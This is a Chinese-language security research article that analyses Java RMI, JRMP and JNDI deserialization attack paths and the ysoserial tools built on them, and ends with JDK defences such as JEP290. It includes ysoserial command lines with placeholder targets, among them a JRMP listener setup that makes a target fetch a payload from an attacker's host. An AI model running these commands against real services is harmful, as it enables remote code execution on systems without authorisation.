前提了解
JNDI
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
JRMP
Java远程方法协议(英语:Java Remote Method Protocol,JRMP)是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议。
RMI
Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。
JDK关键版本
RMI攻击向量
RMI Serialization Attack
注意:此Demo没有版本限制,但部分逻辑会由于版本原因造成出入。
Demo
with JDK 1.8.0_151
with java-rmi-server/ rmi.RMIServer、Services、PublicKnown
with java-rmi-client/ rmi.RMIClient、Services、ServicesImpl、PublicKnown
PS:低版本无法在RegistryImpl_Skel下有效断点。
分析
两种 bind 区别
Server <-> RMI Registry <-> Client
server 通过 bind 注册服务时会进行序列化传输服务名&Ref,因此会进入RegistryImpl_Skel.dispatch先经过反序列化获取。
Server(RMI Registry) <-> Client
这种模式下,由于 server 与 Registry 是同一台机器,在 bind 注册时由于 server 上已有其 Ref,因此不需要序列化传输,只需要在 bindings list 中添加对应键值即可。
注册、请求流程
RMI Registry 的核心在于 RegistryImpl_Skel。当Server执行bind、Client执行lookup时候,均会通过sun.rmi.registry.RegistryImpl_Skel#dispatch进行处理。
bind
首先注意到ServiceImpl继承了UnicastRemoteObject,在实例化时会通过exportObject创建返回此服务的stub。
public class ServiceImpl extends UnicastRemoteObject implements Service {...}
/**
* Exports the specified object using the specified server ref.
*/
private static Remote exportObject(Remote obj, UnicastServerRef sref)
throws RemoteException
{
// if obj extends UnicastRemoteObject, set its ref.
if (obj instanceof UnicastRemoteObject) {
((UnicastRemoteObject) obj).ref = sref;
}
return sref.exportObject(obj, null, false);
}
再通过bind向RMI Registry服务器申请注册绑定服务名&stub跟入到sun.rmi.registry.RegistryImpl_Stub#bind,注意观察到向RMI Registry申请时,第三个参数对应 operations 里的操作。
这里尤其注意的两个 writeObject,分别向 var3 的输出流中写入序列化后的服务名&stub。
RMI Registry收到申请时会进行会通过传入的操作值进入相关流程,0时进入bind,注意到两次 readObject 分别反序列化获取服务名&stub后,再向 bindings List 中写入键值。
这里就引出来了一个点:Server 通过向 RMI Registry 申请 bind 操作进行序列化攻击。
lookup
再看Client向RMI Registry申请lookup 查找时候(sun.rmi.registry.RegistryImpl_Stub#lookup)传递的操作数为 2,且反序列化了目标服务名。
RMI
Registry(sun.rmi.registry.RegistryImpl_Skel#dispatch)这边同样会先反序列化获取查询服务名,再从 bindings list 中进行查询。
这里就引出来了另一个点:Client 通过向 RMI Registry 申请 lookup 操作进行序列化攻击。
但是就完了么?
我们再往下看,注意到 86 行出现的 writeObject,这里是将查询到的stub序列化传输给 Client。
回到 Client 的代码中,可以看到104 行的 readObject。
这里就引出来了第三个点:RMI Registry 通过 lookup 操作被动式攻击 Client。
调用时序列化
现在我们理清了bind、lookup的部分内容,那么 client 是如何实现远程调用呢?
通过跟进后可以看到由
java.rmi.server.RemoteObjectInvocationHandler实现的动态代理,并最终由sun.rmi.server.UnicastRef#invoke实现调用。
在调用中我们注意到通过marshalValue打包参数,由unmarshalValue对传回的内容进行反序列化。
限制
这里的 Demo 实际情况中很难遇到,因为evil是我们根据已知的Services、PublicKnown(含已知漏洞)生成的,在攻击时更多都是采用本地 gadget。
攻击方向
注意到我们上面提出了三个攻击向。
1.Server 通过向 RMI Registry 申请 bind 操作进行序列化攻击;
2.Client 通过向 RMI Registry 申请 lookup 操作进行序列化攻击;
3.RMI Registry 通过 lookup 操作被动式攻击 Client。
其实注意到第一个点里提到的 Server 并不是要求一定要由目标服务器发起,比如任意一台(包括攻击者)均可以向注册中心发起注册请求进而通过 bind 在 RMI Registry 上进行攻击,例如:
Client -- bind --> RMI Registry(Server)
同理第二点、第三点里也是,所以我们更新一下:
1.向 RMI Registry 申请 bind 操作进行序列化攻击;
2.向 RMI Registry 申请 lookup 操作进行序列化攻击;
3.RMI Registry通过lookup操作被动式序列化攻击请求者。
bind - RMIRegistryExploit
with JDK 1.7.0_17
with java-rmi-server/ rmi.RMIServer2
with ysoserial.exploit.RMIRegistryExploit
ysoserial.exploit.RMIRegistryExploit实际对应bind攻击方向,我们来简单看下它的代码。
核心在于两点,对于第一点可以看看 cc1 分析以及Java动态代理-实战这篇。
sun.reflect.annotation.AnnotationInvocationHandler动态代理Remote.class
bind 操作
这里提一下为什么需要动态代理,是由于在sun.rmi.registry.RegistryImpl_Skel#dispatch,执行bind时会通过Remote.readObject反序列化,导致调用
AnnotationInvocationHandler.invoke。
RMI Remote Object
codebase传递以及useCodebaseOnly
RMI有一个重要的特性是动态类加载机制,当本地CLASSPATH中无法找到相应的类时,会在指定的codebase里加载class,
需要java.rmi.server.useCodebaseOnly=false,但是这个特性是一直开启的,直到6u45、7u21修改默认为 true 以防御攻击。
这里引用官方文档 Enhancements in JDK 7:
如果RMI连接一端的JVM在其java.rmi.server.codebase系统属性中指定了一个或多个URL,则该信息将通过RMI连接传递到另一端。如果接收方JVM的java.rmi.server.useCodebaseOnly系统属性设置为false,则它将尝试使用这些URL来加载RMI请求流中引用的Java类。
从由RMI连接的远程端指定位置加载类的行为,当被禁用
java.rmi.server.useCodebaseOnly被设定为true。在这种情况下,仅从预配置的位置(例如本地指定的
java.rmi.server.codebase属性或本地CLASSPATH)加载类,而不从codebase通过RMI请求流传递的信息中加载类。
demo
Client 攻击 Server
with JDK 1.7.0_17
with java-rmi-server/rmi.RMIServer2
with java-rmi-client/rmi.RMIClient2、remote.RemoteObject
若 Client 指定了 codebase 地址,Server 加载目标类时会现在本地 classpath 中进行查找,在没有找到的情况下会通过 codebase 对指定地址再次查找。
为了能够远程加载目标类,需要Server加载并配置RMISecurityManager,并同时设置:
java.rmi.server.useCodebaseOnly=false
在传输了 codebase 之后是如何调用的呢?
也是由动态代理类
java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod实现远程调用。
Server 接收到调用指令后,进入
sun.rmi.server.MarshalInputStream#resolveClass,
由于 useCodebaseOnly 为 false,从客户端指定地址远程读取目标类。
全部读取完毕后回到
java.io.ObjectInputStream#readOrdinaryObject,
调用
java.io.ObjectStreamClass#initNonProxy进行实例化。
Server 攻击 Client
with JDK 1.7.0_17
with java-rmi-server/rmi.RMIServer3、remote.RemoteObject2
with java-rmi-client/rmi.RMIClient3
可以对比看到,从sun.rmi.server.UnicastRef#invoke起是一致的逻辑,只是上层调用来源不一样,不再赘述。
区别攻击方向
方法调用请求均来自 Client。
但区别的产生在于
sun.rmi.server.UnicastRef#invoke(java.rmi.Remote,java.lang.reflect.Method,java.lang.Object[], long)处的逻辑代码。
line 79: Client 攻击 Server,在于让 Server 请求远程 Class 产生结果,由于本地同名恶意类安全所以不会对本地造成攻击。
line 89: Server 攻击 Clinet,在于 Client 获取到安全结果后需要获取远程 Class 进行本地反序列化导致被攻击。
JRMP
with JDK 1.7.0_80
with java-rmi-server/rmi.RMIServer2
看情况取舍:
上面说的RMI通信过程中假设客户端在与RMI服务端通信中,虽然也是在JRMP协议上进行通信,尝试传输序列化的恶意对象到服务端,此时服务端若也返回客户端一个恶意序列化的对象,那么客户端也可能被攻击,利用JRMP就可以利用socket进行通信,客户端直接利用JRMP协议发送数据,而不用接受服务端的返回,因此这种攻击方式也更加安全。
这里我们针对 ysoserial 的几个相关 Class 进行分析,首先先列举下相关的作用。
payloads.JRMPListener 在目标服务器目标端口上开启JRMP监听服务 - 独立利用
payloads.JRMPClient 向目标服务器发送注册 Ref,目标 exploit.JRMPListener 地址
exploit.JMRPListener 被动向请求方传输序列化 payload
exploit.JRMPClient 主动向目标服务器传输序列化 payload
除此之外,我们还需要了解下关于DGC的一些内容,以便理解下面的内容。
RMI.DGC 为 RMI 分布式垃圾回收提供了类和接口。当 RMI 服务器返回一个对象到其客户机(远程方法的调用方)时,其跟踪远程对象在客户机中的使用。当再没有更多的对客户机上远程对象的引用时,或者如果引用的“租借”过期并且没有更新,服务器将垃圾回收远程对象。
payloads.JRMPListener
在了解之前,我们先看下JAVA原生序列化有两种接口实现。
1.Serializable接口:要求实现writeObject、readObject、writeReplace、readResolve
2.Externalizable接口:要求实现 writeExternal、readExternal
分析
回到JRMPListener中,代码很简单,主要功能就是生成一个开启目标端口进行监听RMI服务的payload。
我们首先跟入到
ysoserial.payloads.util.Reflections#createWithConstructor,了解下函数逻辑。
1.先查找RemoteObject下参数类型为 RemoteRef 的构造器。
2.根据找到的构造器为ActivationGroupImpl动态生成一个新的构造器并生成实例。
为什么需要这样呢?其实就是为了避免调用ActivationGroupImpl本身的构造方法,避免复杂的或其他不可控的问题。
我们关注下UnicastRemoteObject在序列化阶段做了什么,从reexport跟入到exportObject,创建监听并返回此 stub。
另外,通过上面的分析实际上我们只用需要UnicastRemoteObject就足够开启监听利用,下面两种也可以,但好奇为什么作者要通过子类转换实现利用呢?
ActivationGroupImpl uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
RemoteRef.class
}, new Object[] {
new UnicastServerRef(jrmpPort)
});
UnicastRemoteObject uro = Reflections.createWithConstructor(UnicastRemoteObject.class, RemoteObject.class, new Class[] {
RemoteRef.class
}, new Object[] {
new UnicastServerRef(jrmpPort)
});
利用
java -cp ysoserial-master.jar ysoserial.exploit.XXXXX <rmi_ip> <rmi_port> JRMPListener <new_listener_port>
java -cp ysoserial-master.jar ysoserial.exploit.JRMPClient <rmi_ip> <new_listener_port> <payloads> <args[]>
payloads.JRMPClient
分析
作为 payloads 核心代码依旧不是很多,生成 ref 并封装到 handler,动态代理Registry类。
实际上,对于 ClassLoader 我们是可以设置为 Null,这个问题可以通过上面的资料链接回答。
至于为什么强转为 Registry ?只是因为我们动态代理了这个类,集成了需要代理类的各种方法,在不调用这些方法时替换成任意 Object 子类均可。
现在我们看下代码逻辑:
当我们传递一个 proxy 准备序列化时,大意上同样会对其成员进行序列化(这里不展开,需要自己看序列化),所以会调用其父类 RemoteObject.readObject()
注意到最后会调用 readExternal 方法,原因已在上文提到。
这里便会调用
sun.rmi.server.UnicastRef#readExternal,
之后进入
sun.rmi.transport.LiveRef#read,
但这里并不能进入到 DGCClient 注册,但会把 ref 信息存入到
ConnectionInputStream.incomingRefTable中。
在最后释放输入连接时,会对incomingRefTable中的 ref 进行注册。
为什么要这么做呢?java 注释写有,详细内容没有查到。
/**
* Save reference in order to send "dirty" call after all args/returns
* have been unmarshaled. Save in hashtable incomingRefTable. This
* table is keyed on endpoints, and holds objects of type
* IncomingRefTableEntry.
*/
而在sun.rmi.transport.DGCImpl_Skel#dispatch中也是类似注释中的流程。
回到 ref 注册,实际是会在 DGCClient 中对 refs 进行注册。
然后对传输过来的数据直接进行反序列化解析,这里的内容放在
exploit.JRMPListener中讲解。
所以整个流程分析下来,并没有看到需要使用动态代理的地方,因此生成 payload 时直接序列化传输RemoteObject子类也就足够,而原生自带的容易控制的子类为RemoteObjectInvocationHandler,即:
利用
payloads.JRMPClient 是要配合 exploit.JRMPListener 一起使用的。
java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener <listener_port> <payloads> <args[]>
java -cp ysoserial-master.jar ysoserial.exploit.XXXXX <rmi_ip> <rmi_port> JRMPClient <listener_ip>:<listener_port>
exploit.JRMPListener
分清两个JRMPListener的区别
payloads.JRMPListener 在目标机上开启 JMRP 监听
exploit.JRMPListener 实现对 JRMP Client 请求的应答
分析
从 Main 可以看到基本逻辑就是开启监听 JRMP 端口等待连接后传输恶意 payload。
在监听时对协议进行解析,对为 StreamProtocol、SingleOpProtocol 的连接均会通过 doMessage 进行应答。
而在 doMessage 中对远程RMI调用发送 payload 数据包。
那么 payload 是填充到哪里了呢?
注意到 doCall 函数中的这段代码,和 cc5 的入口点是一样的。
但需要注意的是,BadAttributeValueExpException.readObject的触发点不一定是 valObj.toSting(),这里在调试的时候出现了一堆莫名其妙的现象。
抛开后续的利用,我们从开始看下目标是如何向 JRMPListener 请求的。
会向 DGCClient 中进行注册 Ref,通过80请求、81应答进行传输,这里可以关注下调用栈,结合上面 DGC 内容进行了解。
那么 80 是如何出现的呢?
看到StreamRemoteCall初始化时会直接往第一个字节写入 80。
接着目标会读取 Listener 传递的值对之后的内容选择是否进行反序列化,反序列化的内容就和上面连接起来了。
额外提一下,var1在这里的意义是用来判断Listener是否为正常返回,如果因为某些原因在 Listener 端产生了异常报错需要将报错信息传递回请求端,而传递的信息是序列化的所以会在请求端触发反序列化。
利用
本身无法直接利用的,需要向目标机发送 payloads.JRMPClient 以被动攻击。
java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener <listener_port> <payloads> <args[]>
exploit.JRMPClient
分清两个 JRMPClient 区别,以及 RMIRegistry
Exploit
payloads.JRMPClient 向目标DGC注册Ref
exploit.JRMPClient 向目标DGC传输序列化 payload
exploit.RMIRegistryExploit 向目标RMI.Registry传输序列化 payload,目标为 RMI.Registry 监听端口
下面是payloads.JRMPListener和RMI.Registry 开启的监听端口在nmap扫描下的不同信息:
exploit.JRMPClient 可以对两者进行攻击;
exploit.RMIRegistryExploit只能攻击后者。
分析
先在sun.rmi.server.UnicastServerRef#dispatch中读取 Int 数据。
然后在
sun.rmi.server.UnicastServerRef#oldDispatch中读取 Long 数据。
之后进入sun.rmi.transport.DGCImpl_Skel#dispatch,先对读取的 Long 数据即接口 hash 值进行判断是否为相同。
再根据之前读取的 Int 数据进行相应的处理。
利用
java -cp ysoserial-master.jar ysoserial.exploit.JRMPClient <rmi_ip> <rmi_port> <payloads> <args[]>
JNDI Reference
关于 JNDI 的内容已在整篇文章开头有涉及,此处暂时无额外需求。
demo
with JDK 1.7.0_17
with jndi\rmi.RMIClient、rmi.RMIServer
分析
我们跟进Client执行lookup后看看发生了什么。
同样也是Client向Server请求查询test_service对应的 stub,再执行到 com.sun.jndi.rmi.registry.RegistryContext#decodeObject中获取目标类的 ref。
之后带入 ref 到
javax.naming.spi.NamingManager#getObjectInstance中进行远程工厂类的加载(所以Server 端 new Reference 时的第一个 class 参数随便写不影响)。
这样就是在 Client 执行 lookup 操作时让其直接加载远程恶意类进行 RCE,不需要任何其他的 gadget。
防御
受到自6u141、7u131、8u121起默配置com.sun.jndi.rmi.object.trustURLCodebase=false,直接远程加载会被限制,报错信息如下:
另外还对可反序列化的类做了白名单检测- JEP290,对 JEP290 的分析文章很多,常见 Bypass会在之后总结。